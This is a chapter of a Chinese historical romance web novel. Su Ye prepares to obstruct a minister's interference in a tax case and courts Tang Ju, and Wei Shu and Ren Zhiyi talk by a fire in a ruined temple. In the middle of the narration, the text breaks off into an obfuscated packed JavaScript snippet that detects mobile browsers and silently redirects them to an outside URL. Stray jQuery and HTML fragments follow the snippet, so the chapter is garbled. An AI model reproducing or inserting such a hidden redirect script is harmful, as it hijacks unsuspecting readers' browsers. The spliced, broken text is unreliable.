午后，京城来人。
“谁来了？”苏叶瞪着充血的眼睛，不耐烦地问道。
因为税赋案，榷务司近六成的官吏都被打落下狱，庶务积压成山，另有江南道各州府的税赋账册陆续送过来，苏叶每日住在司署里，忙得脚不沾地，连打个盹的时间都没有。
“回大人，来的是吏部尚书秦洙。”榷务司文书来报。
苏叶冷笑，“看来是开始急了。”
文书嗫嚅，“大人是不是该去迎一下秦尚书？”
“迎什么迎！”苏叶将桌案拍得砰砰响，“我户部的税赋案关他吏部何事……他们担心拽出萝卜拔出泥，怕这些涉案官员把每年孝敬给京城那边的生辰礼也吐露出来，忙不迭地过来堵人的嘴。”
文书听得傻了，不敢搭话。
这时，唐橘迈步走进来，“骂谁呢？隔着三道门都能听见。”
一见唐橘，苏叶的火气顿时消了大半儿，神情满是欢喜，“阿橘，你来了啊。”
文书识趣退下。
苏叶原本满脸喜色地起身迎她，走了几步，突然脚下一顿，接着往后退，“等等，你等一会儿再进来。”
唐橘不明所以。
“等等昂！”苏叶像是在躲着她，以手遮面，飞一般地跑进西厢房中。
约摸半刻，才从厢房里走出来。
金冠束发，玉带直裰，整个人比刚才精神许多，若再忽略掉眼窝下的乌青，活脱脱就是那个名贯京城，俊逸无双的长公主府公子。
唐橘对着他上下打量了半晌，又朝西厢房瞅了一眼，“你进去鼓捣半天，就是为了盥洗更衣？”
苏叶笑笑，“这几日一直宿在司署，蓬头垢面，怕碍你观瞻。”
唐橘又瞥了他一眼，平日里和他吵吵闹闹习惯了，甚少留心他的长相。
单论皮相而言，苏叶是男子当中少有的俊朗相貌，鼻高额阔，目若朗星，加之他面上常带笑容，又添三分风流俊雅之气。
她不以为意地笑道：“若你这相貌若还有碍观瞻，让其他男子怎么活啊？”
“真的？”苏叶闻言，眼睛一亮，情不自禁地靠唐橘又近了几分。
淡淡的香气，从他身上飘散出来，清爽温润，舒气怡人，萦绕在她鼻息间，似乎是白芷香的香气。
唐橘微怔，苏叶为了见她，不但专门去盥洗，更衣，还搽了白芷香？
这些勋贵家中都这么讲究的吗？
苏叶靠她越近，浓郁的气息越发萦于周身，无法忽略。
一丝难言的情绪自她心口滋生，麦黑色的皮肤渐渐泛起微红。
唐橘一把推开他，啐道：“一个大男人，搽什么香啊？”
苏叶低头浅嗅，依旧笑若春风，“你是不是不喜欢白芷香的味道？下一次我换成雪松香好不好？或者，你还有什么别的不喜欢的，一并告知于我。”
见他越说越认真，唐橘听得愈发窘迫，连忙打断问道，“刚才你在骂谁？”
“秦洙来关州了。”苏叶道。
唐橘蹙眉，“为何偏选殿下和知宜去其他州府的时机来关州……不会是猜到他们的意图吧？”
苏叶道：“秦洙一向粗目短视，恐怕想不到这层，应该是景相派他来察看一下江南道的情况。这些年榷务司偷营私茶，历任关州刺史却不敢过问，正是因为与京城朝堂有着千丝万缕的联系。”
“殿下和知宜都不在，我们该如何应付？”
苏叶冷哼，“对付景相我不敢说，一个秦洙没什么可惧的。他不是想见那些下狱的官员吗……等他来了，我就每日带他去刑室观赏对贪官用刑，炮烙，针刺，夹棍轮番上，看他喜欢哪个。”
唐橘被他的说法逗笑了，苏叶的确是有一点磨人的本事在身上。
苏叶喊文书进来，吩咐道：“将所有账册文书搬去秦尚书下榻的行辕，再转告秦尚书一声，本官将与他同值同守，共同监察此案，以期不负圣恩。”
文书领命离去。
苏叶冷笑一声，“这几日三不五时就要来个江湖杀手行刺于我，这等新奇事儿怎么也得让秦尚书跟着体会一番才好。”
唐橘失笑，却也真心担忧他的安危，“你断了世家的财路，他们就要断你的生路。这几次行刺虽说是有惊无险，也不可当作玩笑对待，毕竟性命攸关，司署的守卫还是要再加强一些。”
苏叶正想出言慰她宽心，话到嘴边又咽了下去。
“唉！”苏叶叹气，“我现在身边这些人都是之前关州府衙的人，也不知到底是忠是奸。”
透着几分可怜兮兮的声音令唐橘心头一软，“若不然……这几日我与你同去行辕，帮你查一查？”
闻言，苏叶心头已是花枝怒放，面上却仍不显，只作惊喜状，“还是阿橘你最重情义！”
他似是对她的仗义之举极为感恩，激动得双臂轻轻环拥了她一下，旋即放开，倒也不算格外失礼。
唐橘觉得怪怪的，但又说不出哪里怪。
————
这厢，卫枢和任知宜往返于江南道几个州府之间，行经解州官道时，路遇巨石滑坡，道路封阻，一行人只好被迫在山间破庙过夜。
破庙荒废多年，椽梁断裂，佛像半毁，蛛网密结。
燃起小火堆，任知宜双手置于火上取暖，见卫枢捡了个破瓦罐，将白日里拔的野菜放进去，加水熬煮。
卫枢抬头对她笑笑，“再煮一会儿，便能吃了。”
“这是什么？”
“算是菜粥吧，这种野菜长于盐地，自带咸味，你连日骑马赶路实在疲累，今日又一整天没吃东西，我怕你身体吃不消。”
任知宜微怔。
这几日，没有外人在场的时候，卫枢再也没有自称过“孤”，待她也愈发亲近体贴，甚至连她骑马不适也察觉出来。
他们一行四人中，只有她是初学骑马，起初几日她尚能忍，越到后来腿部越发脱力，几乎上不去马。
她一直咬牙挺着，连宝珠都未告诉，没想到却被他发觉，难怪前日他突然放慢行程。
这是一个主上对臣下的好吗？<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529206|180125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她望向守在庙外的林四，近来他站得离他们越来越远，像是刻意避开。迟钝如他，都察觉出卫枢待她的不同，何况她这种心思如镜之人。
一丝烦躁的慌乱自她心中掠过。
那夜船上，卫枢与叶蕴之说的每一个字她都记得清清楚楚。本就是泾渭分明的“君臣之义”，没由来地又在她面前展现这微薄的情意做什么？
她可以继续奉其为主上，却不可能再动情。她原本以为自己可以不去强求对等的感情，后来才发现她终究是个普通人，情之一字，做不到心无芥蒂。
“趁热喝吧。”
任知宜垂下眼睑，默然接过破瓦罐，喝了一口。
咸咸的，微微有些涩。
“殿下如何会做这粥？”任知宜不想被他继续凝视，随意找着话题。
“这是我义父教我的。”卫枢拨弄着柴火，“他很聪明，不只会教书育人，他还喜欢研究五谷和野菜，平日里他会带着我上山，认识天地自然万物，农作时他也会带着我去地里教我如何插秧，翻地，连一些精巧的木工他也会做。”
“他没想过做官？”
“几次科举不第。”卫枢轻声道：“其实也好，义父他并不适合做官。他甚少给我讲一些经世济民的大道理，也很少像朝臣一般说什么顾全大局，他喜欢做实事，为百姓做实事。他一直教导我，要我好好读书，若有机会为官，定要造福一方。”
“殿下并未辜负他的期待。”
“是吗？”卫枢淡声道，“茶盐两税案的背后还有谁，你我心知肚明。这么多年，景相默认世家以银钱供养文臣，维持朝廷的稳定。我明明知道，却无法将所有人绳之于法。还有我们这几日游说的官员，他们答应辞官致仕，我便不再揭露当年科举舞弊之行，这些同样是粉饰之举。我义父清正高洁，定然不会像我一般。”
幽暗的火光映照在卫枢的颜面上，眼睫微覆，落下一道阴影。
“殿下悔了？”
卫枢反问，“若是你，当如何抉择？”
任知宜淡笑。
她从不怀疑，在这方面她与卫枢本质上是同一种人，士大夫的理想主义少不了阴诡下的不择手段。他为查清云门镇案，她为解救灵州，没有什么是舍弃不了的。
她缓缓道：“想要得到什么，便要先付出相应的代价，这是颠扑不破的道理。只有先拥有权柄，才有实现目的的可能。”
卫枢轻轻点头，心中最后一丝犹疑被清理得干干净净。
当年，他被护在义父的身体下面，感受火龙一寸寸蚕食着义父的肉身。尚有一些未死绝的人被当作尸体埋堆在那里。风声呜咽，夹杂着微弱的“救命”哀嚎，那嘶喊声越来越低，越来越弱，直到湮灭在灼热的火息之中。
何卢静坐马上，居高临下地看着众生蝼蚁挣扎喘息的样子，他终生难忘。
卫枢一直以为何卢是云门镇案的真凶，直到弘忍法师将幸存的邢老汉带到他面前，他才知道，云门镇案背后还有钟黎。
或者说，还有景相。